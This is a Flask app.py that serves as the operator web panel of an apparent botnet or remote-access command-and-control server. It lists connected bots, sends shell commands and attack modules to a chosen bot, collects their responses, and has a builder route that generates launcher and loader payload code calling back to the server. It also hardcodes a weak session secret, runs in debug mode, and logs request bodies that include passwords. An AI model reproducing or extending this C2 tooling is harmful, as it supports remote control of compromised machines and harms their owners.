app.py

# Importing flask module in the project is mandatory
# An object of Flask class is our WSGI application.

#inbuilt Modules 
from flask import Flask,request,render_template,session,jsonify
from random import randint
from binascii import unhexlify
from time import strftime, localtime
#built Modules
from server.starter import login,rhandler,web,builld
# Flask constructor takes the name of 
# current module (__name__) as argument.

app = Flask(__name__)
app.secret_key = "hello"
# Sample responses
# The route() function of the Flask class is a decorator, 
# which tells the application which URL should call 
# the associated function.
@app.before_request
def log_request_info():
    app.logger.debug("Headers: %s", request.headers)
    app.logger.debug("Body: %s", request.get_data())



@app.route('/',methods=['GET', 'POST'])
# ‘/’ URL is bound with hello_world() function.
def index():
    if request.method == "POST":
        query = request.form
        username = query['username']
        password = query['password']
        if login(username,password):
            session.permanent = True
            session["username"] = username
            return render_template('index.html',botlist=web.botlist,strftime=strftime,localtime=localtime,unhexlify=unhexlify)
        else:
            return render_template("login.html")
    else:
        if "username" in session:
            return render_template('index.html',botlist=web.botlist,strftime=strftime,localtime=localtime,unhexlify=unhexlify)
        
        return render_template("login.html")

# @app.route('/index')
# def index():
#     return render_template("index.html")

@app.route('/sendcommand',methods=['GET', 'POST'])
def sendcommand():
    response = rhandler.do_GET(request.cookies)
    #print(response)
    return response


@app.route('/cp/<bot_uid>', methods=['GET', 'POST'])
def cp(bot_uid):
    command_type = request.form.get('command_type')
    module_type = request.form.get('select_modules')
    #print(module_type)
    bot_uid = bot_uid
    modres = ""
    if module_type == None or module_type=="":
        info = []
    else:
        info = web.selectedModulesOpt(module_type)
    if request.method == "POST":
        query = request.form
        print(query)
        if query['command_type'] == 'Shell' and 'select_modules' not in query:
            command = query['command']
            response = web.shellCommand(command,bot_uid)
            #print(bot_uid)
            #print(response)
        if query['command_type'] == "modules" and 'select_modules' in query:
            keys = web.getPostKeyName(query['select_modules'])
            print(keys)
            setoptions = []
            run = False
            if keys!= []:
                for key in keys:
                    if key in query:
                        setoptions.append(query[key]) 
                        print("key is in query ","\n"*5)   
                        run = True
                else:
                    pass
                if run:
                    web.runModule(set_options=setoptions,module_name=query['select_modules'],bot_uid=bot_uid)
            else:
                web.runModule(set_options=setoptions,module_name=query['select_modules'],bot_uid=bot_uid)
    
    return render_template('controlpanel.html', command_type=command_type, module_type=module_type,bot_uid=bot_uid,modules_list=web.get_module_list,infos=info)


# @app.route('/get_responses')
# def get_responses():
#     return jsonify([f"Response\n {randint(0,9)}", f"Response {randint(0,9)}", f"Response {randint(0,9)}"])
# main driver function
responses = []
@app.route("/get_responses",methods=['GET', 'POST'])
def getResponse():
    if request.method == "POST":
        data = request.form
        data = rhandler.do_POST(data)
        responses.append(data)
        return "True",404
    if responses != []:
        value = responses.pop()
    else:
        value = ""
    print(jsonify(value))
    return jsonify([value])

@app.route('/logout')
def logout():
    session.pop("username", None)
    return render_template("login.html")

@app.route("/builder",methods=['GET', 'POST'])
def builder():
    launcher_name = request.form.get('launcher_name')
    loader_name = request.form.get('loader_name')
    res = ""
    extensions = ""
    if loader_name == None or loader_name=="none_selected":
        loader_info = []
    else:
        loader_info = builld.loader_infos(loader_name)
    
    if request.method == "POST":
        query = request.form
        print("\n"*8,query)
        setoptions=[]
        server_host = request.root_url
        
        extensions = ""
        if query['loader_name'] != "none_selected":
            keys = builld.getPostKeyName(query['loader_name'])
            run = False
            if keys!= []:
                for key in keys:
                    if key in query:
                            if query[key] != "RemoveMe":
                                print(query)
                                setoptions.append(query[key])
                                run = True
                            else:
                                run = False
                if run:
                    res,extensions = builld.builder(launcher_name,loader_name,setoptions,query['karavas_location'],server_host)
                    code = res
                    response = {
                        'success': True,
                        'generated_code': res,
                        'extension':extensions
                    }
                    return jsonify(response)

    return render_template("Builder.html",lauchers_list=builld.launcher_list,loaders_list=builld.loader_list,Loaderinfos=loader_info,loader_name=loader_name)

if __name__ == '__main__':

    # run() method of Flask class runs the application 
    # on the local development server.
    app.run(debug=True)